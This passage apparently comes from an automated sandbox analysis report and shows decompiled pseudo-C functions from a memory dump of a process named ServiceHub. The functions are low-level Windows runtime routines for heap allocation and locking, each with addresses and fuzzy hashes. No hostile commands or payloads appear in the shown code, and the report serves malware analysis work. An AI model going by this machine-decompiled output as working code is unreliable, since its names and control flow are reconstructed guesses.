						_v160 = 0;
						_v104 = 0;
						_v100 = 2;
						_v96 = 0;
						_v88 = 0;
						_v80 = 0;
						_v72 = 0;
						_v68 = _t70;
						_v64 = 0;
						_v56 = 0;
						_v52 = 0x12953e8;
						_v48 = 0;
						_v40 = 0;
						_v36 = 0x12953e8;
						_v32 = 0;
						_v28 =  &_v164;
						_v24 = 0;
						_v20 = _t70;
						_v16 = 0;
						_t69 = 0x118bc46;
						_t48 = E01227B9C(0x12953e8, 0x118bc46, _t67, 0x12953e8, _t70,  &_v140);
					}
				}
				return E011EB640(_t48, 0, _v8 ^ _t73, _t69, _t71, _t72);
			}











































                                          0x011e8ec7
                                          0x011e8ed9
                                          0x011e8edc
                                          0x011e8ee6
                                          0x011e8ee9
                                          0x011e8eee
                                          0x011e8efc
                                          0x011e8f08
                                          0x01221349
                                          0x01221353
                                          0x0122135d
                                          0x01221366
                                          0x0122136f
                                          0x01221375
                                          0x0122137c
                                          0x01221385
                                          0x01221390
                                          0x01221391
                                          0x0122139c
                                          0x0122139d
                                          0x012213a6
                                          0x012213ac
                                          0x012213b2
                                          0x012213b5
                                          0x012213bc
                                          0x012213bf
                                          0x012213c2
                                          0x012213c5
                                          0x012213c8
                                          0x012213cb
                                          0x012213ce
                                          0x012213d1
                                          0x012213d4
                                          0x012213d7
                                          0x012213da
                                          0x012213dd
                                          0x012213e0
                                          0x012213e3
                                          0x012213e6
                                          0x012213e9
                                          0x012213f6
                                          0x01221400
                                          0x01221400
                                          0x011e8f08
                                          0x011e8f32

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 1f1f39aa41097c07817d924d18bdaf59176bba2677f9f0b0ae833a83d8530c95
                                          • Instruction ID: 686c3e95d6a967d8a9cc3c687df62ff2e4ae13db1a078ad81b212ca46547c2ae
                                          • Opcode Fuzzy Hash: 1f1f39aa41097c07817d924d18bdaf59176bba2677f9f0b0ae833a83d8530c95
                                          • Instruction Fuzzy Hash: 0C41A2B1D00718AFDB24CFAAD981AADFBF4FB48710F5041AEE509A7200E7745A44CF55
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011DE730 Relevance: .1, Instructions: 89COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 74%
                                          			E011DE730(void* __edx, signed int _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36, intOrPtr* _a40) {
				intOrPtr* _v0;
				signed char _v4;
				signed int _v8;
				void* __ecx;
				void* __ebp;
				void* _t37;
				intOrPtr _t38;
				signed int _t44;
				signed char _t52;
				void* _t54;
				intOrPtr* _t56;
				void* _t58;
				char* _t59;
				signed int _t62;

				_t58 = __edx;
				_push(0);
				_push(4);
				_push( &_v8);
				_push(0x24);
				_push(0xffffffff);
				if(E011E9670() < 0) {
					L011FDF30(_t54, _t58, _t35);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_push(_t54);
					_t52 = _v4;
					if(_t52 > 8) {
						_t37 = 0xc0000078;
					} else {
						_t38 =  *0x1297b9c; // 0x0
						_t62 = _t52 & 0x000000ff;
						_t59 = L011C4620(8 + _t62 * 4,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t38 + 0x140000, 8 + _t62 * 4);
						if(_t59 == 0) {
							_t37 = 0xc0000017;
						} else {
							_t56 = _v0;
							 *(_t59 + 1) = _t52;
							 *_t59 = 1;
							 *((intOrPtr*)(_t59 + 2)) =  *_t56;
							 *((short*)(_t59 + 6)) =  *((intOrPtr*)(_t56 + 4));
							_t44 = _t62 - 1;
							if(_t44 <= 7) {
								switch( *((intOrPtr*)(_t44 * 4 +  &M011DE810))) {
									case 0:
										L6:
										 *((intOrPtr*)(_t59 + 8)) = _a8;
										goto L7;
									case 1:
										L13:
										 *((intOrPtr*)(__edx + 0xc)) = _a12;
										goto L6;
									case 2:
										L12:
										 *((intOrPtr*)(__edx + 0x10)) = _a16;
										goto L13;
									case 3:
										L11:
										 *((intOrPtr*)(__edx + 0x14)) = _a20;
										goto L12;
									case 4:
										L10:
										 *((intOrPtr*)(__edx + 0x18)) = _a24;
										goto L11;
									case 5:
										L9:
										 *((intOrPtr*)(__edx + 0x1c)) = _a28;
										goto L10;
									case 6:
										L17:
										 *((intOrPtr*)(__edx + 0x20)) = _a32;
										goto L9;
									case 7:
										 *((intOrPtr*)(__edx + 0x24)) = _a36;
										goto L17;
								}
							}
							L7:
							 *_a40 = _t59;
							_t37 = 0;
						}
					}
					return _t37;
				} else {
					_push(0x20);
					asm("ror eax, cl");
					return _a4 ^ _v8;
				}
			}

















                                          0x011de730
                                          0x011de736
                                          0x011de738
                                          0x011de73d
                                          0x011de73e
                                          0x011de740
                                          0x011de749
                                          0x011de765
                                          0x011de76a
                                          0x011de76b
                                          0x011de76c
                                          0x011de76d
                                          0x011de76e
                                          0x011de76f
                                          0x011de775
                                          0x011de777
                                          0x011de77e
                                          0x0121b675
                                          0x011de784
                                          0x011de784
                                          0x011de789
                                          0x011de7a8
                                          0x011de7ac
                                          0x011de807
                                          0x011de7ae
                                          0x011de7ae
                                          0x011de7b1
                                          0x011de7b4
                                          0x011de7b9
                                          0x011de7c0
                                          0x011de7c4
                                          0x011de7ca
                                          0x011de7cc
                                          0x00000000
                                          0x011de7d3
                                          0x011de7d6
                                          0x00000000
                                          0x00000000
                                          0x011de7ff
                                          0x011de802
                                          0x00000000
                                          0x00000000
                                          0x011de7f9
                                          0x011de7fc
                                          0x00000000
                                          0x00000000
                                          0x011de7f3
                                          0x011de7f6
                                          0x00000000
                                          0x00000000
                                          0x011de7ed
                                          0x011de7f0
                                          0x00000000
                                          0x00000000
                                          0x011de7e7
                                          0x011de7ea
                                          0x00000000
                                          0x00000000
                                          0x0121b685
                                          0x0121b688
                                          0x00000000
                                          0x00000000
                                          0x0121b682
                                          0x00000000
                                          0x00000000
                                          0x011de7cc
                                          0x011de7d9
                                          0x011de7dc
                                          0x011de7de
                                          0x011de7de
                                          0x011de7ac
                                          0x011de7e4
                                          0x011de74b
                                          0x011de751
                                          0x011de759
                                          0x011de761
                                          0x011de761

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 4a40de6b8072e6d393a50cc4b1fa1ee42ae28a824e129e27008a8f1bb5673579
                                          • Instruction ID: a38bdbb930e2ad986dc3418cee4e59db3eeab458cc271356368192508cb5cda2
                                          • Opcode Fuzzy Hash: 4a40de6b8072e6d393a50cc4b1fa1ee42ae28a824e129e27008a8f1bb5673579
                                          • Instruction Fuzzy Hash: 08315C75A15249EFD748CF58D841B9ABBE4FB19314F15826AFA08CB341E731E980CBA1
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011DBC2C Relevance: .1, Instructions: 88COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 67%
                                          			E011DBC2C(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, signed int _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* __ebx;
				void* __edi;
				intOrPtr _t22;
				intOrPtr* _t41;
				intOrPtr _t51;

				_t51 =  *0x1296100; // 0x5
				_v12 = __edx;
				_v8 = __ecx;
				if(_t51 >= 0x800) {
					L12:
					return 0;
				} else {
					goto L1;
				}
				while(1) {
					L1:
					_t22 = _t51;
					asm("lock cmpxchg [ecx], edx");
					if(_t51 == _t22) {
						break;
					}
					_t51 = _t22;
					if(_t22 < 0x800) {
						continue;
					}
					goto L12;
				}
				E011C2280(0xd, 0x5cef1a0);
				_t41 =  *0x12960f8; // 0x0
				if(_t41 != 0) {
					 *0x12960f8 =  *_t41;
					 *0x12960fc =  *0x12960fc + 0xffff;
				}
				E011BFFB0(_t41, 0x800, 0x5cef1a0);
				if(_t41 != 0) {
					L6:
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					 *((intOrPtr*)(_t41 + 0x1c)) = _v12;
					 *((intOrPtr*)(_t41 + 0x20)) = _a4;
					 *(_t41 + 0x36) =  *(_t41 + 0x36) & 0x00008000 | _a8 & 0x00003fff;
					do {
						asm("lock xadd [0x12960f0], ax");
						 *((short*)(_t41 + 0x34)) = 1;
					} while (1 == 0);
					goto L8;
				} else {
					_t41 = L011C4620(0x1296100,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0xd0);
					if(_t41 == 0) {
						L11:
						asm("lock dec dword [0x1296100]");
						L8:
						return _t41;
					}
					 *(_t41 + 0x24) =  *(_t41 + 0x24) & 0x00000000;
					 *(_t41 + 0x28) =  *(_t41 + 0x28) & 0x00000000;
					if(_t41 == 0) {
						goto L11;
					}
					goto L6;
				}
			}










                                          0x011dbc36
                                          0x011dbc42
                                          0x011dbc45
                                          0x011dbc4a
                                          0x011dbd35
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x011dbc50
                                          0x011dbc50
                                          0x011dbc58
                                          0x011dbc5a
                                          0x011dbc60
                                          0x00000000
                                          0x00000000
                                          0x0121a4f2
                                          0x0121a4f6
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x0121a4fc
                                          0x011dbc79
                                          0x011dbc7e
                                          0x011dbc86
                                          0x011dbd16
                                          0x011dbd20
                                          0x011dbd20
                                          0x011dbc8d
                                          0x011dbc94
                                          0x011dbcbd
                                          0x011dbcca
                                          0x011dbccb
                                          0x011dbccc
                                          0x011dbccd
                                          0x011dbcce
                                          0x011dbcd4
                                          0x011dbcea
                                          0x011dbcee
                                          0x011dbcf2
                                          0x011dbd00
                                          0x011dbd04
                                          0x00000000
                                          0x011dbc96
                                          0x011dbcab
                                          0x011dbcaf
                                          0x011dbd2c
                                          0x011dbd2c
                                          0x011dbd09
                                          0x00000000
                                          0x011dbd09
                                          0x011dbcb1
                                          0x011dbcb5
                                          0x011dbcbb
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x011dbcbb

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: b726865fbf3122a6163313f50468b6260b05cad2f66bc283db5986b1b86a581d
                                          • Instruction ID: 715e7565eae63180ad3b10c022a0a7818e36d1c9d9277675d07f00a1817c6d73
                                          • Opcode Fuzzy Hash: b726865fbf3122a6163313f50468b6260b05cad2f66bc283db5986b1b86a581d
                                          • Instruction Fuzzy Hash: 79310E72A04A169FCB25DF5CD4C07AA73B4FB1A314F060079ED46EB20AEB74D9058B95
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011A9100 Relevance: .1, Instructions: 87COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 76%
                                          			E011A9100(signed int __ebx, void* __ecx, void* __edi, signed int __esi, void* __eflags) {
				signed int _t53;
				signed int _t56;
				signed int* _t60;
				signed int _t63;
				signed int _t66;
				signed int _t69;
				void* _t70;
				intOrPtr* _t72;
				void* _t78;
				void* _t79;
				signed int _t80;
				intOrPtr _t82;
				void* _t85;
				void* _t88;
				void* _t89;

				_t84 = __esi;
				_t70 = __ecx;
				_t68 = __ebx;
				_push(0x2c);
				_push(0x127f6e8);
				E011FD0E8(__ebx, __edi, __esi);
				 *((char*)(_t85 - 0x1d)) = 0;
				_t82 =  *((intOrPtr*)(_t85 + 8));
				if(_t82 == 0) {
					L4:
					if( *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) == 0) {
						E012788F5(_t68, _t70, _t78, _t82, _t84, __eflags);
					}
					L5:
					return E011FD130(_t68, _t82, _t84);
				}
				_t88 = _t82 -  *0x12986c0; // 0xd407b0
				if(_t88 == 0) {
					goto L4;
				}
				_t89 = _t82 -  *0x12986b8; // 0x0
				if(_t89 == 0 ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					goto L4;
				} else {
					E011C2280(_t82 + 0xe0, _t82 + 0xe0);
					 *(_t85 - 4) =  *(_t85 - 4) & 0x00000000;
					__eflags =  *((char*)(_t82 + 0xe5));
					if(__eflags != 0) {
						E012788F5(__ebx, _t70, _t78, _t82, __esi, __eflags);
						goto L12;
					} else {
						__eflags =  *((char*)(_t82 + 0xe4));
						if( *((char*)(_t82 + 0xe4)) == 0) {
							 *((char*)(_t82 + 0xe4)) = 1;
							_push(_t82);
							_push( *((intOrPtr*)(_t82 + 0x24)));
							E011EAFD0();
						}
						while(1) {
							_t60 = _t82 + 8;
							 *(_t85 - 0x2c) = _t60;
							_t68 =  *_t60;
							_t80 = _t60[1];
							 *(_t85 - 0x28) = _t68;
							 *(_t85 - 0x24) = _t80;
							while(1) {
								L10:
								__eflags = _t80;
								if(_t80 == 0) {
									break;
								}
								_t84 = _t68;
								 *(_t85 - 0x30) = _t80;
								 *(_t85 - 0x24) = _t80 - 1;
								asm("lock cmpxchg8b [edi]");
								_t68 = _t84;
								 *(_t85 - 0x28) = _t68;
								 *(_t85 - 0x24) = _t80;
								__eflags = _t68 - _t84;
								_t82 =  *((intOrPtr*)(_t85 + 8));
								if(_t68 != _t84) {
									continue;
								}
								__eflags = _t80 -  *(_t85 - 0x30);
								if(_t80 !=  *(_t85 - 0x30)) {
									continue;
								}
								__eflags = _t80;
								if(_t80 == 0) {
									break;
								}
								_t63 = 0;
								 *(_t85 - 0x34) = 0;
								_t84 = 0;
								__eflags = 0;
								while(1) {
									 *(_t85 - 0x3c) = _t84;
									__eflags = _t84 - 3;
									if(_t84 >= 3) {
										break;
									}
									__eflags = _t63;
									if(_t63 != 0) {
										L40:
										_t84 =  *_t63;
										__eflags = _t84;
										if(_t84 != 0) {
											_t84 =  *(_t84 + 4);
											__eflags = _t84;
											if(_t84 != 0) {
												 *0x129b1e0(_t63, _t82);
												 *_t84();
											}
										}
										do {
											_t60 = _t82 + 8;
											 *(_t85 - 0x2c) = _t60;
											_t68 =  *_t60;
											_t80 = _t60[1];
											 *(_t85 - 0x28) = _t68;
											 *(_t85 - 0x24) = _t80;
											goto L10;
										} while (_t63 == 0);
										goto L40;
									}
									_t69 = 0;
									__eflags = 0;
									while(1) {
										 *(_t85 - 0x38) = _t69;
										__eflags = _t69 -  *0x12984c0;
										if(_t69 >=  *0x12984c0) {
											break;
										}
										__eflags = _t63;
										if(_t63 != 0) {
											break;
										}
										_t66 = E01279063(_t69 * 0xc +  *((intOrPtr*)(_t82 + 0x10 + _t84 * 4)), _t80, _t82);
										__eflags = _t66;
										if(_t66 == 0) {
											_t63 = 0;
											__eflags = 0;
										} else {
											_t63 = _t66 + 0xfffffff4;
										}
										 *(_t85 - 0x34) = _t63;
										_t69 = _t69 + 1;
									}
									_t84 = _t84 + 1;
								}
								__eflags = _t63;
							}
							 *((intOrPtr*)(_t82 + 0xf4)) =  *((intOrPtr*)(_t85 + 4));
							 *((char*)(_t82 + 0xe5)) = 1;
							 *((char*)(_t85 - 0x1d)) = 1;
							L12:
							 *(_t85 - 4) = 0xfffffffe;
							E011A922A(_t82);
							_t53 = E011C7D50();
							__eflags = _t53;
							if(_t53 != 0) {
								_t56 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
							} else {
								_t56 = 0x7ffe0386;
							}
							__eflags =  *_t56;
							if( *_t56 != 0) {
								_t56 = E01278B58(_t82);
							}
							__eflags =  *((char*)(_t85 - 0x1d));
							if( *((char*)(_t85 - 0x1d)) != 0) {
								__eflags = _t82 -  *0x12986c0; // 0xd407b0
								if(__eflags != 0) {
									__eflags = _t82 -  *0x12986b8; // 0x0
									if(__eflags == 0) {
										_t79 = 0x12986bc;
										_t72 = 0x12986b8;
										goto L18;
									}
									__eflags = _t56 | 0xffffffff;
									asm("lock xadd [edi], eax");
									if(__eflags == 0) {
										E011A9240(_t68, _t82, _t82, _t84, __eflags);
									}
								} else {
									_t79 = 0x12986c4;
									_t72 = 0x12986c0;
									L18:
									E011D9B82(_t68, _t72, _t79, _t82, _t84, __eflags);
								}
							}
							goto L5;
						}
					}
				}
			}


















                                          0x011a9100
                                          0x011a9100
                                          0x011a9100
                                          0x011a9100
                                          0x011a9102
                                          0x011a9107
                                          0x011a910c
                                          0x011a9110
                                          0x011a9115
                                          0x011a9136
                                          0x011a9143
                                          0x012037e4
                                          0x012037e4
                                          0x011a9149
                                          0x011a914e
                                          0x011a914e
                                          0x011a9117
                                          0x011a911d
                                          0x00000000
                                          0x00000000
                                          0x011a911f
                                          0x011a9125
                                          0x00000000
                                          0x011a9151
                                          0x011a9158
                                          0x011a915d
                                          0x011a9161
                                          0x011a9168
                                          0x01203715
                                          0x00000000
                                          0x011a916e
                                          0x011a916e
                                          0x011a9175
                                          0x011a9177
                                          0x011a917e
                                          0x011a917f
                                          0x011a9182
                                          0x011a9182
                                          0x011a9187
                                          0x011a9187
                                          0x011a918a
                                          0x011a918d
                                          0x011a918f
                                          0x011a9192
                                          0x011a9195
                                          0x011a9198
                                          0x011a9198
                                          0x011a9198
                                          0x011a919a
                                          0x00000000
                                          0x00000000
                                          0x0120371f
                                          0x01203721
                                          0x01203727
                                          0x0120372f
                                          0x01203733
                                          0x01203735
                                          0x01203738
                                          0x0120373b
                                          0x0120373d
                                          0x01203740
                                          0x00000000
                                          0x00000000
                                          0x01203746
                                          0x01203749
                                          0x00000000
                                          0x00000000
                                          0x0120374f
                                          0x01203751
                                          0x00000000
                                          0x00000000
                                          0x01203757
                                          0x01203759
                                          0x0120375c
                                          0x0120375c
                                          0x0120375e
                                          0x0120375e
                                          0x01203761
                                          0x01203764
                                          0x00000000
                                          0x00000000
                                          0x01203766
                                          0x01203768
                                          0x012037a3
                                          0x012037a3
                                          0x012037a5
                                          0x012037a7
                                          0x012037ad
                                          0x012037b0
                                          0x012037b2
                                          0x012037bc
                                          0x012037c2
                                          0x012037c2
                                          0x012037b2
                                          0x011a9187
                                          0x011a9187
                                          0x011a918a
                                          0x011a918d
                                          0x011a918f
                                          0x011a9192
                                          0x011a9195
                                          0x00000000
                                          0x011a9195
                                          0x00000000
                                          0x011a9187
                                          0x0120376a
                                          0x0120376a
                                          0x0120376c
                                          0x0120376c
                                          0x0120376f
                                          0x01203775
                                          0x00000000
                                          0x00000000
                                          0x01203777
                                          0x01203779
                                          0x00000000
                                          0x00000000
                                          0x01203782
                                          0x01203787
                                          0x01203789
                                          0x01203790
                                          0x01203790
                                          0x0120378b
                                          0x0120378b
                                          0x0120378b
                                          0x01203792
                                          0x01203795
                                          0x01203795
                                          0x01203798
                                          0x01203798
                                          0x0120379b
                                          0x0120379b
                                          0x011a91a3
                                          0x011a91a9
                                          0x011a91b0
                                          0x011a91b4
                                          0x011a91b4
                                          0x011a91bb
                                          0x011a91c0
                                          0x011a91c5
                                          0x011a91c7
                                          0x012037da
                                          0x011a91cd
                                          0x011a91cd
                                          0x011a91cd
                                          0x011a91d2
                                          0x011a91d5
                                          0x011a9239
                                          0x011a9239
                                          0x011a91d7
                                          0x011a91db
                                          0x011a91e1
                                          0x011a91e7
                                          0x011a91fd
                                          0x011a9203
                                          0x011a921e
                                          0x011a9223
                                          0x00000000
                                          0x011a9223
                                          0x011a9205
                                          0x011a9208
                                          0x011a920c
                                          0x011a9214
                                          0x011a9214
                                          0x011a91e9
                                          0x011a91e9
                                          0x011a91ee
                                          0x011a91f3
                                          0x011a91f3
                                          0x011a91f3
                                          0x011a91e7
                                          0x00000000
                                          0x011a91db
                                          0x011a9187
                                          0x011a9168

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 81e9aaf6392fee1bc4882a2f47fabb19f53c8351b64f1f77f0fb72d3fb4b01a2
                                          • Instruction ID: ada78855919cf159337d98c5db49da6b01a35de8e7fe926d3022b65651a95e14
                                          • Opcode Fuzzy Hash: 81e9aaf6392fee1bc4882a2f47fabb19f53c8351b64f1f77f0fb72d3fb4b01a2
                                          • Instruction Fuzzy Hash: B8319179A042499FDB2ADB6CC088BADBFF1BB59328F58814DC5046B251C334A980CB91
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011D1DB5 Relevance: .1, Instructions: 87COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 60%
                                          			E011D1DB5(intOrPtr __ecx, intOrPtr* __edx, intOrPtr* _a4) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr* _v20;
				void* _t22;
				char _t23;
				void* _t36;
				intOrPtr _t42;
				intOrPtr _t43;

				_v12 = __ecx;
				_t43 = 0;
				_v20 = __edx;
				_t42 =  *__edx;
				 *__edx = 0;
				_v16 = _t42;
				_push( &_v8);
				_push(0);
				_push(0);
				_push(6);
				_push(0);
				_push(__ecx);
				_t36 = ((0 | __ecx !=  *((intOrPtr*)( *[fs:0x30] + 8))) - 0x00000001 & 0xc0000000) + 0x40000002;
				_push(_t36);
				_t22 = E011CF460();
				if(_t22 < 0) {
					if(_t22 == 0xc0000023) {
						goto L1;
					}
					L3:
					return _t43;
				}
				L1:
				_t23 = _v8;
				if(_t23 != 0) {
					_t38 = _a4;
					if(_t23 >  *_a4) {
						_t42 = L011C4620(_t38,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t23);
						if(_t42 == 0) {
							goto L3;
						}
						_t23 = _v8;
					}
					_push( &_v8);
					_push(_t23);
					_push(_t42);
					_push(6);
					_push(_t43);
					_push(_v12);
					_push(_t36);
					if(E011CF460() < 0) {
						if(_t42 != 0 && _t42 != _v16) {
							L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t43, _t42);
						}
						goto L3;
					}
					 *_v20 = _t42;
					 *_a4 = _v8;
				}
				_t43 = 1;
				goto L3;
			}












                                          0x011d1dc2
                                          0x011d1dc5
                                          0x011d1dc7
                                          0x011d1dcc
                                          0x011d1dce
                                          0x011d1dd6
                                          0x011d1ddf
                                          0x011d1de0
                                          0x011d1de1
                                          0x011d1de5
                                          0x011d1de8
                                          0x011d1def
                                          0x011d1df0
                                          0x011d1df6
                                          0x011d1df7
                                          0x011d1dfe
                                          0x011d1e1a
                                          0x00000000
                                          0x00000000
                                          0x011d1e0b
                                          0x011d1e12
                                          0x011d1e12
                                          0x011d1e00
                                          0x011d1e00
                                          0x011d1e05
                                          0x011d1e1e
                                          0x011d1e23
                                          0x0121570f
                                          0x01215713
                                          0x00000000
                                          0x00000000
                                          0x01215719
                                          0x01215719
                                          0x011d1e2c
                                          0x011d1e2d
                                          0x011d1e2e
                                          0x011d1e2f
                                          0x011d1e31
                                          0x011d1e32
                                          0x011d1e35
                                          0x011d1e3d
                                          0x01215723
                                          0x0121573d
                                          0x0121573d
                                          0x00000000
                                          0x01215723
                                          0x011d1e49
                                          0x011d1e4e
                                          0x011d1e4e
                                          0x011d1e09
                                          0x00000000

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 113d149f2ee32d0cf172cc5618c6b00e5ec00d0f660e83749918783638c296a2
                                          • Instruction ID: f48d3a4e98e2f607601ca0750a12c83af5a4784a513c7ae8be9c3a5cf883765a
                                          • Opcode Fuzzy Hash: 113d149f2ee32d0cf172cc5618c6b00e5ec00d0f660e83749918783638c296a2
                                          • Instruction Fuzzy Hash: E021A172600229FFD72ACF99CC80EABBBBDEF95644F114059EA0597210D734AE01CBA0
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011C0050 Relevance: .1, Instructions: 81COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 53%
                                          			E011C0050(void* __ecx) {
				signed int _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t30;
				intOrPtr* _t31;
				signed int _t34;
				void* _t40;
				void* _t41;
				signed int _t44;
				intOrPtr _t47;
				signed int _t58;
				void* _t59;
				void* _t61;
				void* _t62;
				signed int _t64;

				_push(__ecx);
				_v8 =  *0x129d360 ^ _t64;
				_t61 = __ecx;
				_t2 = _t61 + 0x20; // 0x20
				E011D9ED0(_t2, 1, 0);
				_t52 =  *(_t61 + 0x8c);
				_t4 = _t61 + 0x8c; // 0x8c
				_t40 = _t4;
				do {
					_t44 = _t52;
					_t58 = _t52 & 0x00000001;
					_t24 = _t44;
					asm("lock cmpxchg [ebx], edx");
					_t52 = _t44;
				} while (_t52 != _t44);
				if(_t58 == 0) {
					L7:
					_pop(_t59);
					_pop(_t62);
					_pop(_t41);
					return E011EB640(_t24, _t41, _v8 ^ _t64, _t52, _t59, _t62);
				}
				asm("lock xadd [esi], eax");
				_t47 =  *[fs:0x18];
				 *((intOrPtr*)(_t61 + 0x50)) =  *((intOrPtr*)(_t47 + 0x19c));
				 *((intOrPtr*)(_t61 + 0x54)) =  *((intOrPtr*)(_t47 + 0x1a0));
				_t30 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
				if(_t30 != 0) {
					if( *_t30 == 0) {
						goto L4;
					}
					_t31 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
					L5:
					if( *_t31 != 0) {
						_t18 = _t61 + 0x78; // 0x78
						E01278A62( *(_t61 + 0x5c), _t18,  *((intOrPtr*)(_t61 + 0x30)),  *((intOrPtr*)(_t61 + 0x34)),  *((intOrPtr*)(_t61 + 0x3c)));
					}
					_t52 =  *(_t61 + 0x5c);
					_t11 = _t61 + 0x78; // 0x78
					_t34 = E011D9702(_t40, _t11,  *(_t61 + 0x5c),  *((intOrPtr*)(_t61 + 0x74)), 0);
					_t24 = _t34 | 0xffffffff;
					asm("lock xadd [esi], eax");
					if((_t34 | 0xffffffff) == 0) {
						 *0x129b1e0(_t61);
						_t24 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t61 + 4))))))();
					}
					goto L7;
				}
				L4:
				_t31 = 0x7ffe0386;
				goto L5;
			}




















                                          0x011c0055
                                          0x011c005d
                                          0x011c0062
                                          0x011c006c
                                          0x011c006f
                                          0x011c0074
                                          0x011c007a
                                          0x011c007a
                                          0x011c0080
                                          0x011c0080
                                          0x011c0087
                                          0x011c008d
                                          0x011c008f
                                          0x011c0093
                                          0x011c0095
                                          0x011c009b
                                          0x011c00f8
                                          0x011c00fb
                                          0x011c00fc
                                          0x011c00ff
                                          0x011c0108
                                          0x011c0108
                                          0x011c00a2
                                          0x011c00a6
                                          0x011c00b3
                                          0x011c00bc
                                          0x011c00c5
                                          0x011c00ca
                                          0x0120c01e
                                          0x00000000
                                          0x00000000
                                          0x0120c02d
                                          0x011c00d5
                                          0x011c00d9
                                          0x0120c03d
                                          0x0120c046
                                          0x0120c046
                                          0x011c00df
                                          0x011c00e2
                                          0x011c00ea
                                          0x011c00ef
                                          0x011c00f2
                                          0x011c00f6
                                          0x011c0111
                                          0x011c0117
                                          0x011c0117
                                          0x00000000
                                          0x011c00f6
                                          0x011c00d0
                                          0x011c00d0
                                          0x00000000

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 7b4a14f7cf446ec0c9955898db85cca95960a920ea992669ca55b008f97d017b
                                          • Instruction ID: 4394dc9725aef27d0bd8817172433e4ca2f66c3c926e97ef59895123afbd2b4f
                                          • Opcode Fuzzy Hash: 7b4a14f7cf446ec0c9955898db85cca95960a920ea992669ca55b008f97d017b
                                          • Instruction Fuzzy Hash: 0C31BD35201B05CFD72ACF2CC844B9AB3E5FF98B54F15466DE59A87B90EB35A801CB90
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 01226C0A Relevance: .1, Instructions: 79COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 77%
                                          			E01226C0A(signed short* __ecx, signed char __edx, signed char _a4, signed char _a8) {
				signed short* _v8;
				signed char _v12;
				void* _t22;
				signed char* _t23;
				intOrPtr _t24;
				signed short* _t44;
				void* _t47;
				signed char* _t56;
				signed char* _t58;

				_t48 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t44 = __ecx;
				_v12 = __edx;
				_v8 = __ecx;
				_t22 = E011C7D50();
				_t58 = 0x7ffe0384;
				if(_t22 == 0) {
					_t23 = 0x7ffe0384;
				} else {
					_t23 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				}
				if( *_t23 != 0) {
					_t24 =  *0x1297b9c; // 0x0
